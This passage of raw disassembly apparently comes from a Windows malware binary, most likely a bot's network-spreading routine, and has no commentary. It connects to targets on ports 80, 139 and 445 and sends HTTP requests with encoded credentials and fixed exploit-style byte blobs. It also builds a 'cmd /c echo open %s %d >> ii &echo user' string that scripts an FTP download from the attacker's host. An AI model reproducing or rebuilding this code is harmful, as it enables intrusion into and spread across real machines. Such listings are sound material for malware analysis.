esi lea eax, [ebp+var_858] push 41h push eax call sub_417030 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40399D lea ecx, [ebp+var_28] call sub_403923 push 2 push offset dword_427A1C lea ecx, [ebp+var_28] call sub_40399D push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_4039EE lea ecx, [ebp+var_28] call sub_4039FE lea ecx, [ebp+var_38] call sub_403886 lea ecx, [ebp+var_10] call sub_4037ED lea ecx, [ebp+var_8] call sub_4037ED push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_4039EE lea ecx, [ebp+var_10] call sub_40389F lea ecx, [ebp+var_28] call sub_403886 push offset dword_427A18 lea ecx, [ebp+var_8] call sub_4039D1 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_4039EE lea ecx, [ebp+var_8] call sub_40389F lea ecx, [ebp+var_10] call sub_403886 push offset dword_427A14 lea ecx, [ebp+var_10] call sub_4039D1 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_4039EE lea ecx, [ebp+var_10] call sub_40389F lea ecx, [ebp+var_8] call sub_403886 push offset dword_427A08 lea ecx, [ebp+var_8] call sub_4039D1 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_4039EE lea ecx, [ebp+var_8] call sub_40389F lea ecx, [ebp+var_10] call sub_403886 push offset dword_427A04 lea ecx, [ebp+var_48] call sub_4039D1 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_4039EE lea ecx, [ebp+var_8] call sub_403886 pop esi loc_403D9D: ; CODE XREF: sub_403A59+1Bj ; sub_403A59+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop edi pop ebx mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx leave retn sub_403A59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DAF proc near ; CODE XREF: sub_403E73+A2p ; sub_403E73+C7p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi mov esi, [ebp+arg_0] lea eax, [ebp+var_8] push edi push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 xor edi, edi push eax lea eax, [esi+1] inc edi push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_42320C ; select cmp eax, edi jnz short loc_403E16 lea eax, [ebp+var_10C] push eax push esi call sub_422746 ; __WSAFDIsSet test eax, eax jnz short loc_403E1A loc_403E16: ; CODE XREF: sub_403DAF+54j xor eax, eax jmp short loc_403E2A ; --------------------------------------------------------------------------- loc_403E1A: ; CODE XREF: sub_403DAF+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_43EB3C ; recv loc_403E2A: ; CODE XREF: sub_403DAF+69j pop edi pop esi leave retn sub_403DAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E2E proc near ; CODE XREF: sub_403E73+80p ; sub_403E73+AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_43EB20 ; htonl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_43EB74 ; send cmp eax, 4 jz short loc_403E58 xor al, al leave retn ; --------------------------------------------------------------------------- loc_403E58: ; CODE XREF: sub_403E2E+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_43EB74 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_403E2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E73 proc near ; CODE XREF: sub_403F52+48p ; .data:004043C1p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_417889 mov esi, eax pop ecx test esi, esi jnz short loc_403E9C xor al, al jmp loc_403F4D ; --------------------------------------------------------------------------- loc_403E9C: ; CODE XREF: sub_403E73+20j push ebx push 0 push esi call sub_417030 push 2Fh push offset dword_427730 push esi call sub_417090 push 8 lea eax, [esi+31h] push offset dword_427760 push eax mov [esi+2Fh], di call sub_417090 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_417090 push 6 add ebx, edi push offset dword_43BCF0 push ebx call sub_417090 push 85h push offset dword_4276A8 push [ebp+arg_0] call sub_403E2E add esp, 48h test al, al jnz short loc_403F03 loc_403EFF: ; CODE XREF: sub_403E73+B8j xor bl, bl jmp short loc_403F44 ; --------------------------------------------------------------------------- loc_403F03: ; CODE XREF: sub_403E73+8Aj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_403DAF push [ebp+var_4] push esi push [ebp+arg_0] call sub_403E2E add esp, 1Ch test al, al jz short loc_403EFF push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_403DAF add esp, 10h mov bl, 1 loc_403F44: ; CODE XREF: sub_403E73+8Ej push esi call sub_41793B pop ecx mov al, bl loc_403F4D: ; CODE XREF: sub_403E73+24j pop edi pop esi pop ebx leave retn sub_403E73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403F52 proc near ; CODE XREF: .data:004043A7p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_427770 push [ebp+arg_0] call dword_423208 ; send cmp eax, 48h jnz short loc_403F8D push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_403DAF add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_403F8D cmp [ebp+var_20], 82h jz short loc_403F91 loc_403F8D: ; CODE XREF: sub_403F52+1Bj ; sub_403F52+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_403F91: ; CODE XREF: sub_403F52+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_403E73 add esp, 0Ch leave retn sub_403F52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FA4 proc near ; CODE XREF: sub_403FF0+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_423278 call sub_417AC4 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_423270 fstp [esp+10h+var_10] call sub_4179A4 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_417AC4 inc eax leave retn sub_403FA4 endp ; =============== S U B R O U T I N E ======================================= sub_403FF0 proc near ; CODE XREF: sub_40418F+24p var_40 = qword ptr -40h mov eax, offset loc_422DE7 call sub_417F90 sub esp, 2Ch push ebx push esi push edi xor edi, edi mov [ebp-20h], edi mov al, [ebp+13h] push edi lea ecx, [ebp-38h] mov [ebp-38h], al call sub_404620 push dword ptr [ebp+10h] xor ebx, ebx inc ebx mov [ebp-4], ebx call sub_403FA4 cmp [ebp-2Ch], eax pop ecx jnb short loc_404032 push edi push eax lea ecx, [ebp-38h] call sub_40459A loc_404032: ; CODE XREF: sub_403FF0+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_404150 mov ebx, [ebp+10h] loc_404041: ; CODE XREF: sub_403FF0+157j cmp dword ptr [ebp+10h], 3 jb short loc_40404C push 3 loc_404049: ; CODE XREF: sub_403FF0+64j pop ebx jmp short loc_40405F ; --------------------------------------------------------------------------- loc_40404C: ; CODE XREF: sub_403FF0+55j cmp dword ptr [ebp+10h], 2 jnz short loc_404056 push 2 jmp short loc_404049 ; --------------------------------------------------------------------------- loc_404056: ; CODE XREF: sub_403FF0+60j cmp dword ptr [ebp+10h], 1 jnz short loc_40405F xor ebx, ebx inc ebx loc_40405F: ; CODE XREF: sub_403FF0+5Aj ; sub_403FF0+6Aj mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_423280 fstp [esp+40h+var_40] call sub_417AEB pop ecx pop ecx call sub_417AC4 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40409E mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40409E: ; CODE XREF: sub_403FF0+94j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40410C add [ebp-18h], eax loc_4040F0: ; CODE XREF: sub_403FF0+11Aj movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_4277C0[eax] push eax push 1 call sub_40441B inc esi cmp esi, [ebp-1Ch] jb short loc_4040F0 loc_40410C: ; CODE XREF: sub_403FF0+FBj cmp dword ptr [ebp-18h], 48h jb short loc_40412A push dword ptr [ebp+14h] call sub_4177B0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_404475 mov [ebp-18h], edi loc_40412A: ; CODE XREF: sub_403FF0+120j push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_404144 sub esi, [ebp-1Ch] loc_404135: ; CODE XREF: sub_403FF0+152j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40441B dec esi jnz short loc_404135 loc_404144: ; CODE XREF: sub_403FF0+140j cmp [ebp+10h], edi ja loc_404041 xor ebx, ebx inc ebx loc_404150: ; CODE XREF: sub_403FF0+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_404620 push 0FFFFFFFFh lea eax, [ebp-38h] push edi push eax mov ecx, esi call sub_4044CD mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_404620 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_403FF0 endp ; =============== S U B R O U T I N E ======================================= sub_40418F proc near ; CODE XREF: .data:0040438Ap mov eax, offset loc_422E04 call sub_417F90 sub esp, 10h push ebx push esi push edi push offset byte_43BCE8 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_403FF0 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_417889 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_4041D9 xor bl, bl jmp short loc_40421D ; --------------------------------------------------------------------------- loc_4041D9: ; CODE XREF: sub_40418F+44j mov ecx, [ebp-18h] mov eax, offset dword_423288 cmp ecx, ebx jnz short loc_4041E7 mov ecx, eax loc_4041E7: ; CODE XREF: sub_40418F+54j cmp [ebp+18h], ebx jz short loc_4041EF mov eax, [ebp+18h] loc_4041EF: ; CODE XREF: sub_40418F+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41752A add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_43EB74 ; send cmp eax, esi jz short loc_404214 xor bl, bl jmp short loc_404216 ; --------------------------------------------------------------------------- loc_404214: ; CODE XREF: sub_40418F+7Fj mov bl, 1 loc_404216: ; CODE XREF: sub_40418F+83j push edi call sub_41793B pop ecx loc_40421D: ; CODE XREF: sub_40418F+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_404620 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_404620 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40418F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_427970 push eax call sub_417090 add esp, 0Ch mov eax, offset byte_42E9B8 push eax push eax push dword_43BD0C push dword ptr [ebp+8] call sub_40AD08 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp-391h] push 400h push eax call sub_41752A add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_427808 push eax call sub_403A59 xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_4042E6 xor eax, eax jmp loc_40440E ; --------------------------------------------------------------------------- loc_4042E6: ; CODE XREF: .data:004042DDj mov [ebp-0Ch], esi loc_4042E9: ; CODE XREF: .data:004043E9j test esi, esi jnz loc_4043EF push 6 push 1 push 2 call dword_423214 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4043D7 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_43EB24 ; htons mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_43EB64 ; inet_addr mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_43EACC ; connect cmp eax, 0FFFFFFFFh jz loc_4043CC cmp dword ptr [ebp+0A8h], 50h jnz short loc_404394 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_404620 lea eax, [ebp+0Ch] push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_404658 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40418F add esp, 1Ch jmp short loc_4043C9 ; --------------------------------------------------------------------------- loc_404394: ; CODE XREF: .data:00404352j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_4043AE push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403F52 jmp short loc_4043C6 ; --------------------------------------------------------------------------- loc_4043AE: ; CODE XREF: .data:0040439Ej cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_4043CC push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403E73 loc_4043C6: ; CODE XREF: .data:004043ACj add esp, 0Ch loc_4043C9: ; CODE XREF: .data:00404392j movzx esi, al loc_4043CC: ; CODE XREF: .data:00404345j ; .data:004043B8j push ebx call dword_43EBBC ; closesocket test esi, esi jnz short loc_4043E2 loc_4043D7: ; CODE XREF: .data:00404302j push 3E8h call dword_423064 ; Sleep loc_4043E2: ; CODE XREF: .data:004043D5j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_4042E9 loc_4043EF: ; CODE XREF: .data:004042EBj lea ecx, [ebp-8] call sub_403886 test esi, esi jz short loc_40440C mov eax, [ebp+0B0h] imul eax, 3Ch lea eax, dword_429D68[eax] inc dword ptr [eax] loc_40440C: ; CODE XREF: .data:004043F9j mov eax, esi loc_40440E: ; CODE XREF: .data:004042E1j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422DC8 loc_404413: ; CODE XREF: sub_422DC8+3j ; .data:00422DE1j ... push 1 call sub_404620 retn ; END OF FUNCTION CHUNK FOR sub_422DC8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40441B proc near ; CODE XREF: sub_403FF0+111p ; sub_403FF0+14Cp arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_0] ja short loc_404432 call sub_42268A loc_404432: ; CODE XREF: sub_40441B+10j cmp [ebp+arg_0], 0 jbe short loc_40446D mov edi, [esi+8] push 0 add edi, [ebp+arg_0] mov ecx, esi push edi call sub_40459A test al, al jz short loc_40446D movsx eax, [ebp+arg_4] push [ebp+arg_0] push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_417030 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40446D: ; CODE XREF: sub_40441B+1Bj ; sub_40441B+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_40441B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404475 proc near ; CODE XREF: sub_403FF0+132p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_4] ja short loc_40448C call sub_42268A loc_40448C: ; CODE XREF: sub_404475+10j cmp [ebp+arg_4], 0 jbe short loc_4044C5 mov edi, [esi+8] push 0 add edi, [ebp+arg_4] mov ecx, esi push edi call sub_40459A test al, al jz short loc_4044C5 push [ebp+arg_4] mov eax, [esi+8] add eax, [esi+4] push [ebp+arg_0] push eax call sub_417090 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_4044C5: ; CODE XREF: sub_404475+1Bj ; sub_404475+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_404475 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044CD proc near ; CODE XREF: sub_403FF0+179p ; sub_4225A0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_4044E5 call sub_422563 loc_4044E5: ; CODE XREF: sub_4044CD+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_4044F7 mov esi, [ebp+arg_8] loc_4044F7: ; CODE XREF: sub_4044CD+25j cmp edi, ebx jnz short loc_404515 add esi, ecx push 0FFFFFFFFh push esi mov ecx, edi call sub_40468D push [ebp+arg_4] mov ecx, edi push 0 call sub_40468D jmp short loc_404591 ; --------------------------------------------------------------------------- loc_404515: ; CODE XREF: sub_4044CD+2Cj test esi, esi jbe short loc_404558 cmp esi, eax jnz short loc_404558 mov eax, [ebx+4] test eax, eax jnz short loc_404529 mov eax, offset dword_423288 loc_404529: ; CODE XREF: sub_4044CD+55j cmp byte ptr [eax-1], 0FEh jnb short loc_404558 push 1 mov ecx, edi call sub_404620 mov eax, [ebx+4] test eax, eax jnz short loc_404544 mov eax, offset dword_423288 loc_404544: ; CODE XREF: sub_4044CD+70j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_404591 ; --------------------------------------------------------------------------- loc_404558: ; CODE XREF: sub_4044CD+4Aj ; sub_4044CD+4Ej ... push 1 push esi mov ecx, edi call sub_40459A test al, al jz short loc_404591 mov eax, [ebp+arg_0] mov eax, [eax+4] test eax, eax jnz short loc_404575 mov eax, offset dword_423288 loc_404575: ; CODE XREF: sub_4044CD+A1j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_417090 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [esi+eax], 0 loc_404591: ; CODE XREF: sub_4044CD+46j ; sub_4044CD+89j ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_4044CD endp ; =============== S U B R O U T I N E ======================================= sub_40459A proc near ; CODE XREF: sub_403FF0+3Dp ; sub_40441B+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_4045AC call sub_42268A loc_4045AC: ; CODE XREF: sub_40459A+Bj mov eax, [esi+4] xor edx, edx cmp eax, edx jz short loc_4045D4 mov cl, [eax-1] cmp cl, dl jz short loc_4045D4 cmp cl, 0FFh jz short loc_4045D4 cmp edi, edx mov ecx, esi jnz short loc_404613 dec byte ptr [eax-1] push edx loc_4045CB: ; CODE XREF: sub_40459A+48j call sub_404620 loc_4045D0: ; CODE XREF: sub_40459A+4Cj ; sub_40459A+53j xor al, al jmp short loc_40461B ; --------------------------------------------------------------------------- loc_4045D4: ; CODE XREF: sub_40459A+19j ; sub_40459A+20j ... cmp edi, edx jnz short loc_4045EF cmp [esp+8+arg_4], dl jz short loc_4045E4 push 1 mov ecx, esi jmp short loc_4045CB ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_40459A+42j cmp eax, edx jz short loc_4045D0 mov [esi+8], edx mov [eax], dl jmp short loc_4045D0 ; --------------------------------------------------------------------------- loc_4045EF: ; CODE XREF: sub_40459A+3Cj cmp [esp+8+arg_4], dl jz short loc_40460C mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_404601 cmp eax, edi jnb short loc_404619 loc_404601: ; CODE XREF: sub_40459A+61j push 1 mov ecx, esi call sub_404620 jmp short loc_404611 ; --------------------------------------------------------------------------- loc_40460C: ; CODE XREF: sub_40459A+59j cmp [esi+0Ch], edi jnb short loc_404619 loc_404611: ; CODE XREF: sub_40459A+70j mov ecx, esi loc_404613: ; CODE XREF: sub_40459A+2Bj push edi call sub_4046F4 loc_404619: ; CODE XREF: sub_40459A+65j ; sub_40459A+75j mov al, 1 loc_40461B: ; CODE XREF: sub_40459A+38j pop edi pop esi retn 8 sub_40459A endp ; =============== S U B R O U T I N E ======================================= sub_404620 proc near ; CODE XREF: sub_403FF0+1Fp ; sub_403FF0+16Bp ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_404648 mov eax, [esi+4] test eax, eax jz short loc_404648 dec eax mov cl, [eax] test cl, cl jz short loc_404641 cmp cl, 0FFh jz short loc_404641 dec byte ptr [eax] jmp short loc_404648 ; --------------------------------------------------------------------------- loc_404641: ; CODE XREF: sub_404620+16j ; sub_404620+1Bj push eax call sub_417FAF pop ecx loc_404648: ; CODE XREF: sub_404620+8j ; sub_404620+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_404620 endp ; =============== S U B R O U T I N E ======================================= sub_404658 proc near ; CODE XREF: .data:0040437Ep ; sub_4047B1+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 push edi mov esi, ecx call sub_40459A test al, al jz short loc_404686 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_417090 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_404686: ; CODE XREF: sub_404658+12j mov eax, esi pop edi pop esi retn 8 sub_404658 endp ; =============== S U B R O U T I N E ======================================= sub_40468D proc near ; CODE XREF: sub_4044CD+35p ; sub_4044CD+41p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_4046A0 call sub_422563 loc_4046A0: ; CODE XREF: sub_40468D+Cj mov ecx, edi call sub_4047B1 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_4046B6 mov ebx, eax loc_4046B6: ; CODE XREF: sub_40468D+25j test ebx, ebx jbe short loc_4046EC mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_417FC0 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40459A test al, al jz short loc_4046EC mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_4046EC: ; CODE XREF: sub_40468D+2Bj ; sub_40468D+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40468D endp ; =============== S U B R O U T I N E ======================================= sub_4046F4 proc near ; CODE XREF: sub_40459A+7Ap mov eax, offset loc_422E10 call sub_417F90 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40471A mov edi, [ebp+8] loc_40471A: ; CODE XREF: sub_4046F4+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_404727 xor eax, eax loc_404727: ; CODE XREF: sub_4046F4+2Fj push eax call sub_4182F5 pop ecx mov [ebp+8], eax jmp short loc_404758 ; --------------------------------------------------------------------------- loc_404733: ; DATA XREF: .data:00423F50o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_404742 xor eax, eax loc_404742: ; CODE XREF: sub_4046F4+4Aj push eax call sub_4182F5 mov [ebp+8], eax pop ecx mov eax, offset loc_404752 retn ; --------------------------------------------------------------------------- loc_404752: ; DATA XREF: sub_4046F4+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_404758: ; CODE XREF: sub_4046F4+3Dj mov eax, [esi+8] test eax, eax jbe short loc_404776 cmp eax, edi jbe short loc_404765 mov eax, edi loc_404765: ; CODE XREF: sub_4046F4+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_417090 add esp, 0Ch loc_404776: ; CODE XREF: sub_4046F4+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_404620 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_404796 mov edi, ebx loc_404796: ; CODE XREF: sub_4046F4+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [edi+eax], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_4046F4 endp ; =============== S U B R O U T I N E ======================================= sub_4047B1 proc near ; CODE XREF: sub_40468D+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_4047DE mov al, [esi-1] test al, al jz short loc_4047DE cmp al, 0FFh jz short loc_4047DE push 1 call sub_404620 push esi call sub_4177B0 pop ecx push eax push esi mov ecx, edi call sub_404658 loc_4047DE: ; CODE XREF: sub_4047B1+9j ; sub_4047B1+10j ... pop edi pop esi retn sub_4047B1 endp ; =============== S U B R O U T I N E ======================================= sub_4047E1 proc near ; DATA XREF: .data:00425008o test byte_4897A4, 1 jnz short loc_4047F1 or byte_4897A4, 1 loc_4047F1: ; CODE XREF: sub_4047E1+7j jmp $+5 push offset nullsub_1 call sub_418370 pop ecx retn sub_4047E1 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_404803 proc near ; DATA XREF: .data:0042500Co jmp $+5 sub_404803 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404808 proc near mov eax, dword_427C40 add eax, 6 mov dword_43BCFC, eax retn sub_404808 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404816 proc near ; CODE XREF: sub_404816+D0p ; sub_404904+462p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40482A or [ebp+arg_7], 1 jmp short loc_40482E ; --------------------------------------------------------------------------- loc_40482A: ; CODE XREF: sub_404816+Cj and [ebp+arg_7], 0FEh loc_40482E: ; CODE XREF: sub_404816+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_404852 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_404864 ; --------------------------------------------------------------------------- loc_404852: ; CODE XREF: sub_404816+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_404864: ; CODE XREF: sub_404816+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_417889 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_4048FD push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, 